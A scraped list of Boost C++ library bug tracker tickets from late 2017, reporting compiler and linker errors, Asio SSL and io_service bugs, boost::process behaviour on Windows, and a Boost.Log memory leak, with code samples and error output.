boost\include\boost-1_56\boost\property_tree\detail\ptree_implementation.hpp(252): error C2440: '<function-style-cast>': cannot convert from 'boost::multi_index::detail::bidir_node_iterator<boost::multi_index::detail::sequenced_index_node<Super>>' to 'boost::property_tree::basic_ptree<std::string,std::string,std::less<Key>>::const_iterator'

with [

Super=boost::multi_index::detail::ordered_index_node<boost::multi_index::detail::index_node_base<std::pair<const std::string,boost::property_tree::basic_ptree<std::string,std::string,std::less<std::string>>>,std::allocator<std::pair<const std::string,boost::property_tree::basic_ptree<std::string,std::string,std::less<std::string>>>>>>

] and [

Key=std::string

]

boost\include\boost-1_56\boost\property_tree\detail\ptree_implementation.hpp(252): note: No constructor could take the source type, or constructor overload resolution was ambiguous

note: see reference to function template instantiation 'boost::property_tree::basic_ptree<std::string,std::string,std::less<Key>>::const_iterator boost::property_tree::basic_ptree<Key,std::string,std::less<Key>>::begin(void) const' being compiled

with [

Key=std::string

]

The workaround that we have is to use auto instead of the actual types for the const_iterator returned from begin(). See attached cpp file.

#13326: linking with program_options has unresolved symbols on MSVC

Wed, 06 Dec 2017 09:59:32 GMT

I'm developing a simple command line client application against boost::program_options. Everything works fine on Linux with gcc-4.8, gcc-5.3 and gcc-6.3, on Darwin with XCode 7 and on Windows with MinGW-w64. But on Windows with MSVC Build Tools 2017 x64 I get two unresolved symbols:

LightBISClientCMDLine.cc.obj : error LNK2001: unresolved external symbol "class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > boost::program_options::arg" (?arg@program_options@boost@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A)
LightBISClientCMDLine.cc.obj : error LNK2001: unresolved external symbol "public: static unsigned int const boost::program_options::options_description::m_default_line_length" (?m_default_line_length@options_description@program_options@boost@@2IB)

I checked program_options.dll and I am under the impression that those two symbols are defined there. I get exact matches for ?arg@program_options@boost@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A and ?m_default_line_length@options_description@program_options@boost@@2IB. Also all other symbols from program_options are resolved correctly. Here is the details build log with a verbose linker message: http://data.biodataanalysis.de/tmp/boost_program_options_linker_error_emmenlau.txt

I am explictily setting preprocessor defines for debug, and I set to code to build for C++14. Is that possibly related?

#13325: boost::numeric::odeint::dense_output_runge_kutta call a non-existign function "resize"

Koichi — Tue, 05 Dec 2017 00:25:46 GMT

I failed the compile of the following code.

source:

#include<vector>
#include<boost/numeric/odeint.hpp>
int main(void) {
        namespace odeint = boost::numeric::odeint;
        using state_type = std::vector<double>;
        auto Stepper = odeint::make_dense_output(0.001, 0.001, odeint::runge_kutta_dopri5<state_type>());
        state_type State{ 1.0,1.0 };
        Stepper.adjust_size(State);
        return 0;
}

output:

error C2039: 'resize': 'boost::numeric::odeint::runge_kutta_dopri5<state_type,double,State,Value,boost::numeric::odeint::algebra_dispatcher_sfinae<StateType,void>::algebra_type,boost::numeric::odeint::operations_dispatcher_sfinae<StateType,void>::operations_type,boost::numeric::odeint::initially_resizer>' is not a member.

This seems to be caused because odeint::dense_output_runge_kutta calls a non-existing function "resize" instead of "adjust_size" of the base stepper.

boost/numeric/odeint/stepper/dense_output_runge_kutta.hpp

  //boost/numeric/odeint/stepper/dense_output_runge_kutta.hpp
  //Line 378-383
  template< class StateType >
  void adjust_size( const StateType &x )
  {
      resize( x );
      m_stepper.stepper().resize( x );  //not resize but adjust_size?
  }

#13324: not able to link the path to some files of boost library like boost::interprocess::detail has not been declared

kartikay1110@… — Mon, 04 Dec 2017 22:45:50 GMT

Hi,

I keep getting

Error boost::interprocess::detail has not been declared in cent7 on Boost 1.53, code works in 1.41 version of boost - cent6.

Have boost-devel installed already to avoid include and linker flags and other dependencies.

#13323: Passing a vector of arguments to boost::process (boost::fusion)

Mon, 04 Dec 2017 14:57:30 GMT

I'm trying to create a boost::process from a vector of string arguments:

    void runProcess( const std::string& exe, const std::vector<std::string>& args )
    {
        bp::ipstream out;
        bp::child c(exe, args, std_out > out);
        ...
    }

This apparently works, but I'm getting the following warning with Visual Studio 2015:

warning C4503: 'boost::fusion::detail::for_each_linear': decorated name length exceeded, name was truncated

It diseappears if passing arguments one by one bp::child c(exe, "param1", "param2", std_out > out);.

#13322: boost::process reports ERROR_INVALID_HANDLE instead of ERROR_FILE_NOT_FOUND when program cannot be found

Mon, 04 Dec 2017 11:33:58 GMT

Under Windows, the following program outputs "Error is 6" (6 means ERROR_INVALID_HANDLE), while it should report "Error is 2" (2 means ERROR_FILE_NOT_FOUND).

#include <boost/process.hpp>
#include <iostream>
int main( int argc, char* argv[] )
{
    try
    {
        boost::process::child p( "foo" );
        p.terminate();
    }
    catch ( boost::process::process_error err )
    {
        std::cout << "Error is " << err.code().value();
    }
    return 0;
}

#13321: boost::process: executable extension is required to create a process.

Mon, 04 Dec 2017 11:29:49 GMT

The following code does not assert under Windows:

int main( int argc, char* argv[] )
{
    try
    {
        boost::process::child p( "cmd" );
        p.terminate();
    }
    catch (...)
    {
        assert( false );
    }
    try
    {
        boost::process::child p( "cmd.exe" );
        p.terminate();
    }
    catch (...)
    {
        assert( false );
    }
    return 0;
}

So, apparently, .exe does not need to be specified.

However, the following code does assert when .exe is not specified:

int main( int argc, char* argv[] )
{
    if ( argc == 1 )
    {
        std::string exe = argv[0];
        try
        {
            std::string exeNoExt = exe.substr(0, exe.find_last_of("."));
            boost::process::child p( exeNoExt, "foo" );
            p.terminate();
        }
        catch (...)
        {
            assert( false ); // asserts
        }
        try
        {
            boost::process::child p( exe, "foo" );
            p.terminate();
        }
        catch (...)
        {
            assert( false ); // does not assert
        }
    }

boost::process::child p( exeNoExt, "foo" ); should work and executable extention should be silently added, like it is for cmd.

Note that boost::process::search_path( "myprg" ) returns "myprg.exe" if found, so here, extension is added correctly. But it's unsafe to systematically call this function priori to creating a child as it only works with program names (calling it with "Myfolder/myprg" returns "").

#13320: It would be nice if boost::process could provide an API to get all running processes

Mon, 04 Dec 2017 11:21:21 GMT

There is no Xplatform API to get all running processes, it would be noce to have one.

Possible implementation:

    typedef struct ProcessDescr
    {
        /** \brief Constructor
         * \param _sModuleName program's name
         * \param _pid program's PID
         */
        ProcessDescr( const std::string& _sModuleName, int _pid ) :
            sModuleName( _sModuleName ),
            pid( _pid )
        {
        }
        /** \brief program's name */
        std::string sModuleName;
        /** \brief program's PID */
        int pid;
    } ProcessDescr;
    /** \brief List of processus descriptions */
    typedef std::vector<ProcessDescr> ProcessList;
    #if defined(BOOST_WINDOWS_API)
    void addProcessDescr( ProcessList& processes, DWORD processID )
    {
        TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
        // Get a handle to the process.
        HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
                                       PROCESS_VM_READ,
                                       FALSE, processID );
        // Get the process name.
        if (NULL != hProcess )
        {
            HMODULE hMod;
            DWORD cbNeeded;
            if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod),
                 &cbNeeded) )
            {
                GetModuleBaseName( hProcess, hMod, szProcessName,
                                   sizeof(szProcessName)/sizeof(TCHAR) );
            }
        }
        // Print the process name and identifier.
        processes.push_back( ProcessDescr( szProcessName, processID ) );
        // Release the handle to the process.
        CloseHandle( hProcess );
    }
    #endif
    void GetAllProcesses( ProcessList& processes )
    {
    #if defined(BOOST_POSIX_API)
        #ifdef SDE_MOBILE
            #ifdef SDE_ANDROID
                DIR *d = opendir("/proc");
                if ( d != NULL )
                {
                    struct dirent * de;
                    while((de = readdir(d)) != 0){
                        int pid = -1;
                        // to be tested!!!
                        if(isdigit(de->d_name[0])){
                            pid = atoi(de->d_name);
                        }
                        processes.push_back( ProcessDescr( de->d_name , pid ) );
                    }
                    closedir(d);
                }
            #else
                assert( false );
                #warning Unsupported platform
            #endif
        #else
            struct task_struct *task;
            for_each_process(task)
            {
                processes.push_back( ProcessDescr( task->comm , task->pid ) );
            }
        #endif
    #elif defined(BOOST_WINDOWS_API)
        DWORD aProcesses[1024], cbNeeded, cProcesses;
        unsigned int i;
        if ( EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
        {
            // Calculate how many process identifiers were returned.
            cProcesses = cbNeeded / sizeof(DWORD);
            // Print the name and process identifier for each process.
            for ( i = 0; i < cProcesses; i++ )
            {
                if( aProcesses[i] != 0 )
                {
                    addProcessDescr( processes, aProcesses[i] );
                }
            }
        }
    #else
        #error Unknown platform
    #endif
    }

#13319: Boost.Asio.SSL write_some cause 'decryption failed or bad record mac' on large (~1MB) transmissions

Mon, 04 Dec 2017 09:38:35 GMT

When we send large amount of data (1MB) using boost::asio::ssl::stream the boost closes the connection after some transmission and reports encryption error : 'decryption failed or bad record mac'.

The reason of it is a write_some function.

Shortly it uses boost::asio::write to send encrypted data to TCP socket (boost_1_57_0\boost\asio\ssl\detail\io.hpp:60, see details below), but the amount of really sent data is ignored. Instead of it, the amount of handled by OpenSSL user application buffer is returned to the user application. In case of 'would block' operation the amount of really sent data is less than reported to user application.

Details: If the socket is unblocking, the write_some has to try to send something over the socket and has to return the amount of the data it is able to send. The application has to retry next time for the rest of the output data, taking in account the amount of just sent data.

The SSL implementation uses paired BIO of OpenSSL to allow sending encrypted data not directly to a TCP socket but in a memory buffers. The Boost uses this buffers to integrate SSL in its engine implementing asynchronous socket operation.

In other words, boost internally works with TCP sockets using its mechanisms of direct or asynchronous data operation getting data from OpenSSL buffer.

For the write operation the sequence is the following:

User application calls boost::asio::ssl::stream::write_some operation and gives it the buffer with initial data.
This operation calls the engine detail::io function. This function has to encrypt data using OpenSSL, read the encrypted data from the coupled OpenSSL BIO buffer and then send it out using TCP socket.
First the engine io function calls the detail::write_op. This operation (in subroutines) calls the ::SSL_write. This function uses a BIO buffer to store encrypted data and returns the amount of handled initial data. The current buffer size is 17KB. In case of large outgoing message, the size will be about 16+KB.
The size of the handled initial data is stored to bytes_transfered and then is used as a return value of sent amount to the user application.
After this operation the SSL_get_error returns what OpenSSL wants – send the encrypted data through real socket or read raw data from the socket.
In our case normally the Open SSL just want to send the portion of encrypted data.
The detail::io execute the case engine::want_output:. It calls boost::asio::write(next_layer, core.engine_.get_output(core.output_buffer_), ec);
This function read the encrypted data from OpenSSL buffer and transmit it using usual boost write operation.
The problem is that the return of this function is not checked. The amount of the send data by this function can be less than required (16KB). But the user application is notified that that write_some function have sent 16+K.
This leads to the unsynchronized state of SSL on both sides. The sender consider it sends +16KB, but receiver has gotten say only 4KB. Other data are lost.
The user application makes next send skipping the 16KB. And after some send operation OpenSSL recognize the error state. It reports the error and boost closes the socket.
The reason of why write operation can send not the entire encrypted portion (16KB) is the following:
It tries sending the full buffer, but in case of large data stream the corresponding socket can get stacked, and the output buffer can overflow.
In this case the socket operation has the following options
Block in send operation in case of blocking socked
Return “would block” error in case of nonblocking socket.
In our case we have nonblocking socket and write operation stops execution in this case and returns the amount of really sent data. But this value is just ignored.

Workaround: don't use write_some with ssl.

#13318: key_of_value now changes the type in the priority comparison for intrusive::treap_set

Mon, 04 Dec 2017 08:03:30 GMT

Setting the key_of_value option now changes the type used in the priority comparison, which makes it impossible to use key_of_value when the priority is entirely separate to the primary key.

The example below uses a comparison functor; a similar problem occurs with priority_compare(T const&, T const&) function.

This worked in 1.59, fails to compile in 1.65.1.

#include <boost/intrusive/treap_set.hpp>
using namespace boost::intrusive;
struct Test : public bs_set_base_hook<>
{
    Test(int k, int p) : m_key(k), m_priority(p) {}
    int m_key;
    int m_priority;
};
struct TestKey
{
    using type = int;
    int const& operator()(Test const& t) const { return t.m_key; }
};
struct PriorityCompare
{
    bool operator()(Test const& t1, Test const& t2) const {
	return t1.m_priority < t2.m_priority;
    }
};
using Container =
    treap_set<Test, key_of_value<TestKey>, priority<PriorityCompare>>;
int main()
{
    Test t1(1, 2);
    Container c;
    c.insert(t1);
}

#13317: io_service behaviour difference between ubuntu and msvc-14

Fri, 01 Dec 2017 16:54:35 GMT

When implementing a basic thread pool using boost::asio::io_service, I am observing some differences in how queued tasks are handled when stopping the io_service.

On MSVC 14 (MS Visual Studio 2015), for some reason the queued tasks which were not started yet are not dropped when stopping the io_service but are run nonetheless. These tasks are dropped when running this on Ubuntu 16.04 (GCC 5.4.0).

I have simplified and cleaned up the original tests and put them in a single file (attached) which only depends on boost and uses some sleeps to demonstrate the problem. You can build it with the CMakeLists.txt attached if you wish.

The output on Ubuntu is as expected:

checkAllWorkIsProcessedBeforeDestruction
	passed.
	passed.
	passed.
checkWorkCanBeCancelled
	passed.
	passed.
	passed.
checkWorkCanBeInterrupted
	passed.
	passed.
	passed.
checkUninterruptableWorkIsNotInterruptedButCanBeDropped
	passed.
	passed.
	passed.
	passed.

This is the output on MSVC 14:

checkAllWorkIsProcessedBeforeDestruction
        passed.
        passed.
        passed.
checkWorkCanBeCancelled
        Error: functor 1 call expected: false current: true
        Error: functor 2 call expected: false current: true
        Error: running time expected: 150 current: 402
checkWorkCanBeInterrupted
        passed.
        passed.
        passed.
checkUninterruptableWorkIsNotInterruptedButCanBeDropped
        passed.
        Error: functor 2 call expected: false current: true
        passed.
        Error: running time expected: 250 current: 404

Am I doing something wrong?

#13314: warning in graph/transitive_closure.hpp

o.tristan@… — Tue, 28 Nov 2017 13:46:17 GMT

line 92 of graph/include/boost/graph/transitive_closure.hpp

int num_scc = strong_components(g, component_number,

vertex_index_map(index_map));

should be

size_type num_scc = strong_components(g, component_number,

vertex_index_map(index_map));

otherwise there is a warning in case of size_t used in EdgeProperties

#13313: Problem when mixing repeat with epsilon parser

Sebastien Matte — Tue, 28 Nov 2017 02:46:24 GMT

Mixing lazy repeats with epsilon parser (with action) is not working as expected. The attributes are not synthesized as expected. The following example fails:

std::string s;
size_t c = 0;
BOOST_TEST(test_attr("aaaaaaaa", repeat(val(8))[char_ >> eps[ref(c)++]], s) && s == "aaaaaaaa" && c == 8);

It failed because s is empty (which I don't think it should)

I have made some variation of the same operations (no actions, no lazy operations) and they all works except for this particular case.

See the complete example that I have made from the repeat.cpp test (only the last test fails):

    {
        using boost::spirit::qi::eps;
        using boost::phoenix::val;
        using boost::phoenix::ref;
        std::string s;
        size_t c = 0;
        s.clear();
        BOOST_TEST(test_attr("aaaaaaaa", repeat[char_ >> eps], s) && s == "aaaaaaaa");
        s.clear();
        BOOST_TEST(test_attr("aaaaaaaa", repeat(8)[char_ >> eps], s) && s == "aaaaaaaa");
        s.clear();
        BOOST_TEST(test_attr("aaaaaaaa", repeat(val(8))[char_ >> eps], s) && s == "aaaaaaaa");
        s.clear();
        c = 0;
        BOOST_TEST(test_attr("aaaaaaaa", repeat[char_ >> eps[ref(c)++]], s) && s == "aaaaaaaa" && c == 8);
        s.clear();
        c = 0;
        BOOST_TEST(test_attr("aaaaaaaa", repeat(8)[char_ >> eps[ref(c)++]], s) && s == "aaaaaaaa" && c == 8);
        s.clear();
        c = 0;
        BOOST_TEST(test_attr("aaaaaaaa", repeat(val(8))[char_ >> eps[ref(c)++]], s) && s == "aaaaaaaa" && c == 8);
    }

#13312: boost::locale::conv and secure memory buffers

Mon, 27 Nov 2017 15:07:09 GMT

Sometimes it is useful to convert passwords from one encoding to another to guess the right encoding (for example to import certificates which have been exported with broken software).

For such (and maybe other cases) it would be nice if from_utf and to_utf had an option to specify the output memory buffer. I guess this would be best done via a template specialization.

I realize that this is a somewhat obscure concern. The benefit of trying to keep a password in secure memory is discussed even among experts. There are many other places higher (pipes, keyboard buffers) and lower (cpu caches) in the stack where password traces can remain. On the other hand, scanning the swap space for key material and passwords in the clear is a basic security check. For me, this is something that should be fixed if it is easy to do.

Right now, I am using this pattern, which at best relies on RVO and leaves a small race:

  std::string convertedpw_ =
      boost::locale::conv::from_utf<char>(password, charset);
  Botan::secure_vector<uint8_t> convertedpw(convertedpw_.size());
  memcpy(convertedpw.data(), convertedpw_.data(), convertedpw_.size());
  /* Best effort.  */
  Botan::secure_scrub_memory((void *)convertedpw_.data(), convertedpw_.size());

Anyway, thanks a lot for a great library!

#13310: boost::filesystem::exists(".") fails on Mac OS Sierra

anonymous — Thu, 23 Nov 2017 21:42:10 GMT

I installed Boost 1.65.1 on Mac OS Sierra 10.12.6 using mac port. When I run the program tut1.cpp from the Boost Filesystem tutorial, the program fails to find files and directories that exist. The following simple test code returns 1 on linux and 0 on Mac OS:

#include <iostream> #include <boost/filesystem.hpp>

int main() {

This line should print 1 but it prints 0 on Mac OS std::cout << boost::filesystem::exists(".") << std::endl;

return 0;

}

#13309: function_address_holder::get_module/::get implementations are not thread-safe

Wed, 22 Nov 2017 22:33:11 GMT

The discussion in the git review https://github.com/boostorg/filesystem/pull/59#discussion_r152524074 showed that the implementations of function_address_holder::get_module and function_address_holder::get are not completely atomic, because the loop conditions

for(unsigned i = 0; ModuleStates[id] < 2; ++i){

and

for(unsigned i = 0; FunctionStates[id] < 2; ++i){

are not using a read barrier for the variables ModuleStates[id] and FunctionStates[id].

It seems that proper thread-safety using interlocked operations could be realized by emulating an interlocked read-acquire operation via the BOOST_INTERLOCKED_COMPARE_EXCHANGE(&N, 0, 0) idiom.

I can make a concrete pull request if agreement exists on the approach

#13308: Asio symbols are exported even when they should not

Wed, 22 Nov 2017 09:36:26 GMT

Since the changeset 382804a4325b0e3b90d07f6563f5c6fd13a38052 (Use default visibility everywhere), the asio symbols are always exported on macOS even with visibility=hidden. I.e. contary what the changeset comment says. Not only it gives a bigger footprint (see ticket #12722), but it also has functional impliciations on macOS: When multiple modules export the same symbol, the macOS somehow randomly determines which instance of the symbol will be used by which module that needs it. I.e. when modules A and B export the same symbol, and module A needs to call it, then it can happen that the module A actually calls the symbol exported from B. Weird things begin to happen not only when A and B were built with different versions of boost. In practice, we are hitting this issue with our plugins for Adobe Illustrator. Illustrator itself was built with boost of some (unknown) version which is probably different in different releases of Illustrator. Our plugins are built with boost 1.59, 1.61, 1.64 and we are getting almost identical issues with all of them: the macOS decides to link our plugins to the boost symbols exported by Adobe Illustrator although our plugins carry all the required functions. The symptoms are that our plugins hang because some boost functions are called inside our plugin and some inside Illustrator itself leading to inconstistent state, esp. when different boost versions are used. The solution here is to really hide the boost asio symbols when building with visibility=hidden which is the way we build our plugins. In the attachment you can find a solution for the issue: the symbol visibility of asio now really follows the default visibility.

#13306: Bimap uses std::unary_function/std::binary_function which are removed in c++17

Tue, 21 Nov 2017 11:26:47 GMT

Some code, which uses boost::bimap does not compile on Windows 10 with Visual Studio 2017 Professional using the compiler flag /std:c++latest (which enables the C++17 standard).

This is due to std::unary_function (and similar templates) being removed in C++17.

A number of structures in the underlying code of boost::bimap (e.g. bimaps::container_adaptor::detail::comparison_adaptor, bimaps::relation::support::data_extractor_implementation) derive from std::unary_function or std::binary_function.

#13305: memory leaks

vgtinenko@… — Tue, 21 Nov 2017 08:35:05 GMT

I create a logger in the main thread. If the logger is called from another std::thread there are no problems, but if it's called from the concurrency::create_task - there are lot of memory leaks. Visual Studio 2015, Boost versions: 1.57 and 1.65.1. For example:

Dumping objects ->
{887} normal block at 0x00B6A0F8, 128 bytes long.
 Data: < TimeStamp: 2017> 00 54 69 6D 65 53 74 61 6D 70 3A 20 32 30 31 37

Best regards, Victor.

The sample code:

// ConsoleApplication_wo_MFC.cpp : Defines the entry point for the console application.
//
#define _CRT_SECURE_NO_WARNINGS
#define BOOST_SYSTEM_NO_DEPRECATED
#define BOOST_LIB_DIAGNOSTIC
#define CGAL_LIB_DIAGNOSTIC
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <ppltasks.h>
#include <thread>
#define _CRTDBG_MAP_ALLOC
#include <stdlib.h>
#include <crtdbg.h>
#include <boost/log/core.hpp>
#include <boost/log/expressions.hpp>
#include <boost/log/attributes.hpp>
#include <boost/log/utility/setup/common_attributes.hpp>
#include <boost/log/sources/severity_channel_logger.hpp>
#include <boost/log/trivial.hpp>
#include <boost/log/support/date_time.hpp>
#include <boost/log/utility/setup/console.hpp>
#include <boost\log\sinks\text_file_backend.hpp>
#include <boost/locale/localization_backend.hpp>
#if !defined(BOOST_LOG_NO_THREADS)
#include <boost/thread/locks.hpp>
#include <boost/thread/mutex.hpp>
#endif // !defined(BOOST_LOG_NO_THREADS)
using namespace std;
namespace logging = boost::log;
namespace src = boost::log::sources;
namespace sinks = boost::log::sinks;
namespace keywords = boost::log::keywords;
namespace expr = boost::log::expressions;
BOOST_LOG_ATTRIBUTE_KEYWORD(a_channel, "Channel", std::string)
int main()
{
	int nRetCode = 0;
	_CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF);
	typedef sinks::synchronous_sink<sinks::text_file_backend> file_sink;
	src::severity_channel_logger_mt<boost::log::trivial::severity_level> logger(keywords::channel = "L");
	boost::shared_ptr<file_sink> sinkT(new file_sink(keywords::file_name = "logs\\TestLogger_%6N.log"));
	sinkT->set_formatter
	(
		expr::stream
		<< " TimeStamp: " << expr::format_date_time< boost::posix_time::ptime >("TimeStamp", "%Y-%m-%d %H:%M:%S")
		<< " ThreadID: " << expr::attr<logging::thread_id>("ThreadID")
		<< " Message: " << expr::smessage
	);
	logging::core::get()->add_sink(sinkT);
	sinkT->set_filter(a_channel == "L");
	logging::add_common_attributes();
	BOOST_LOG(logger) << L"A message from the MAIN thread";
	std::thread testTthread([&]()
	{
		BOOST_LOG(logger) << L"A message from the std::thread";
	});
	testTthread.join();
	auto task = concurrency::create_task([&]()
	{
		// Produces memory leaks
		BOOST_LOG(logger) << L"A message from the concurrency::create_task thread";
	});
	task.wait();
	BOOST_LOG(logger) << L"Is concurrency::create_task done: " << task.is_done();
	return nRetCode;
}

#13298: boost_1_65_1

jaime.oliva@… — Thu, 16 Nov 2017 15:22:51 GMT

boost_1_65_1 does not build out of the box in MSVS2010. It fails to compile with about 20 errors starting in "strings.c(195)..." I will simply move to VS2015. I do not see how to upload bootstrap.log, but here are a few lines of it: strings.c(195) : error C2143: syntax error : missing ';' before 'type' strings.c(196) : error C2065: 'p' : undeclared identifier strings.c(196) : error C2065: 'p' : undeclared identifier strings.c(196) : warning C4047: '>=' : 'int' differs in levels of indirection from 'char *'

#13297: Coroutine-Context linker error on Cygwin, but not on Linux

lars@… — Wed, 15 Nov 2017 10:59:19 GMT

Hi,

I'm attempting to port a inherited project from Linux to Cygwin on Windows. Even though I'm using Boost 1.65.1 on both systems (both compiled from source), I seem to get a Linker error on Cygwin, but not on Linux. The only difference I can see between my two system setups is the compiler:

Cygwin runs g++ 6.4.0, x86_64-pc-cygwin. Linux runs g++ 6.3.0, x86_64-linux-gnu.

Both compiled the boost library with the following commands:

./bootstrap.sh --prefix=compiled
./b2 cxxflags="-std=c++11"
./b2 install

I've reduced my project to only the troublesome code module, and scrapped as much as possible, you can find it attached to this ticket as well. Compiling is performed with:

g++ -std=c++11 main.cpp -I/usr/local/include/ -L/usr/local/lib/ -lm -lboost_context -lboost_regex -lboost_coroutine -lboost_system -lboost_chrono -lboost_thread

The two latter libraries (chrono and thread), only seem to be necessary for the Linux-version. The output from above command on Linux is non-existent, since it succeeds. The output on Cygwin however informs me of a linker error:

/tmp/ccOwuqNr.o:main.cpp:(.text$_ZN5boost11coroutines26detail14push_coroutineIvEC1IZN4TaskC4ERKSt8functionIFvvEEEUlRNS1_14pull_coroutineIvEEE_vEEOT_[_ZN5boost11coroutines26detail14push_coroutineIvEC1IZN4TaskC4ERKSt8functionIFvvEEEUlRNS1_14pull_coroutineIvEEE_vEEOT_]+0x11): undefined reference to `boost::context::stack_traits::default_size()'
/tmp/ccOwuqNr.o:main.cpp:(.text$_ZN5boost11coroutines26detail14push_coroutineIvEC1IZN4TaskC4ERKSt8functionIFvvEEEUlRNS1_14pull_coroutineIvEEE_vEEOT_[_ZN5boost11coroutines26detail14push_coroutineIvEC1IZN4TaskC4ERKSt8functionIFvvEEEUlRNS1_14pull_coroutineIvEEE_vEEOT_]+0x11): relocation truncated to fit: R_X86_64_PC32 against undefined symbol `boost::context::stack_traits::default_size()'
collect2: error: ld returned 1 exit status

To me it seems that the linking between coroutine and context failed at some point. Since the error message is not entirely obvious as to what has gone wrong, I'm not sure if this is a bug within Cygwin or boost. Maybe it's not a bug at all, and I've just missed some configuration step for Cygwin. Any help investigating this would be appreciated!

#13296: The directory-separator indicating the root-directory incorrectly handled by lexically_normal on windows

peter@… — Wed, 15 Nov 2017 08:33:48 GMT

According to the documentation the result for lexically_normal should contain backslashes on windows. This is not the case for the directory-separator representing the root-directory.

Examples:

cout << path("/tmp/abc/def).lexically_normal() << endl;
cout << path("c:\\abc/def").lexically_normal() << endl;

Output:

/tmp\abc\def
c:/abc\def

#13295: Error during building boost

anonymous — Wed, 15 Nov 2017 03:04:11 GMT

C:\Users\varsha>cd C:\Users\varsha\Downloads\boost_1_65_1

C:\Users\varsha\Downloads\boost_1_65_1>bootstrap Building Boost.Build engine cl : Command line warning D9035 : option 'GZ' has been deprecated and will be re moved in a future release cl : Command line warning D9036 : use 'RTC1' instead of 'GZ' cl : Command line warning D9002 : ignoring unknown option '/MLd'

Failed to build Boost.Build engine. Please consult bootstrap.log for further diagnostics.

You can try to obtain a prebuilt binary from

http://sf.net/project/showfiles.php?group_id=7586&package_id=72941

Also, you can file an issue at http://svn.boost.org Please attach bootstrap.log in that case.

C:\Users\varsha\Downloads\boost_1_65_1>

#13294: Boost(1.57).Asio crashes after ssl stream is closed and stream is deleted.

Mon, 13 Nov 2017 23:17:41 GMT

The issue is found in boost asio v1.57 and is presents in 1.65.1. Windows, Visual Studio 2015

Our library uses boost asio ssl stream for secure TCP connection. We use dynamically created context and ssl stream:

std::shared_ptr<ssl_context> m_context;
std::shared_ptr<ssl_stream> m_stream;
...
m_context = std::make_shared<ssl_context>(TM_NS_ASIO::ssl::context::tlsv12);
m_stream = std::make_shared<ssl_stream>(*io_service, *m_context);

after handshake we start reading asynchronously:

m_stream->async_read_some(buffer, readHandler);

After that we just close the connection and remove objects:

m_stream->shutdown(ec);
m_stream->lowest_layer().close(ec);

Than we destroy the stream and context:

m_stream.reset();
m_context.reset();

Close and destroy operation are performed in a context of io_service thread. And after the stream deletion the io_service gets the break assertion:

>       msvcp140d.dll!std::_Debug_message(const wchar_t * message, const wchar_t * file, unsigned int line) Line 17     C++
        tls_test.exe!std::_Vector_const_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > >::operator*() Line 73    C++
        tls_test.exe!std::_Vector_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > >::operator*() Line 332 C++
        tls_test.exe!boost::asio::detail::buffer_debug_check<std::_Vector_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > > >::operator()() Line 532      C++
        tls_test.exe!std::_Invoker_functor::_Call<boost::asio::detail::buffer_debug_check<std::_Vector_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > > > &>(boost::asio::detail::buffer_debug_check<std::_Vector_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > > > & _Obj) Line 1377    C++
        tls_test.exe!std::invoke<boost::asio::detail::buffer_debug_check<std::_Vector_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > > > &>(boost::asio::detail::buffer_debug_check<std::_Vector_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > > > & _Obj) Line 1443     C++
        tls_test.exe!std::_Invoke_ret<void,boost::asio::detail::buffer_debug_check<std::_Vector_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > > > &>(std::_Forced<void,1> __formal, boost::asio::detail::buffer_debug_check<std::_Vector_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > > > & <_Vals_0>) Line 1461       C++
        tls_test.exe!std::_Func_impl<boost::asio::detail::buffer_debug_check<std::_Vector_iterator<std::_Vector_val<std::_Simple_types<unsigned char> > > >,std::allocator<int>,void>::_Do_call() Line 212      C++
        tls_test.exe!std::_Func_class<void>::operator()() Line 279      C++
        tls_test.exe!boost::asio::detail::buffer_cast_helper(const boost::asio::mutable_buffer & b) Line 146    C++
        tls_test.exe!boost::asio::buffer_cast<void const *>(const boost::asio::mutable_buffer & b) Line 427     C++
        tls_test.exe!boost::asio::detail::buffer_sequence_adapter<boost::asio::mutable_buffer,boost::asio::mutable_buffers_1>::validate(const boost::asio::mutable_buffers_1 & buffer_sequence) Line 207        C++
        tls_test.exe!boost::asio::detail::win_iocp_socket_recv_op<boost::asio::mutable_buffers_1,boost::asio::ssl::detail::io_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,boost::asio::ssl::detail::read_op<boost::asio::mutable_buffers_1>,std::function<void __cdecl(boost::system::error_code const &,unsigned int)> > >::do_complete(boost::asio::detail::win_iocp_io_service * owner, boost::asio::detail::win_iocp_operation * base, const boost::system::error_code & result_ec, unsigned int bytes_transferred) Line 72 C++
        tls_test.exe!boost::asio::detail::win_iocp_operation::complete(boost::asio::detail::win_iocp_io_service & owner, const boost::system::error_code & ec, unsigned int bytes_transferred) Line 46  C++
        tls_test.exe!boost::asio::detail::win_iocp_io_service::do_one(bool block, boost::system::error_code & ec) Line 409      C++
        tls_test.exe!boost::asio::detail::win_iocp_io_service::run(boost::system::error_code & ec) Line 164     C++
        tls_test.exe!boost::asio::io_service::run(boost::system::error_code & ec) Line 67       C++

It occurs that completion operation is called after the stream and underlined socket was closed and deleted. The operation is a dynamically object, created by read_some, but it contains link to buffers that application set to it. In case of raw socket the buffers are user application buffers without checkers. In case of ssl the stream uses its internal buffer for TLS operations. And at the moment of the completion operation the stream and its buffers are not exist.

#13292: Using Boost.Asio's POSIX-specific features makes programs not compile

arsenarsentmc@… — Sun, 12 Nov 2017 15:58:57 GMT

When using ASIO I get the following error message upon trying to compile on POSIX:

In file included from /usr/include/boost/asio/basic_socket_iostream.hpp:24:0,
                 from /usr/include/boost/asio.hpp:29,
                 from boost_bug.cpp:1:
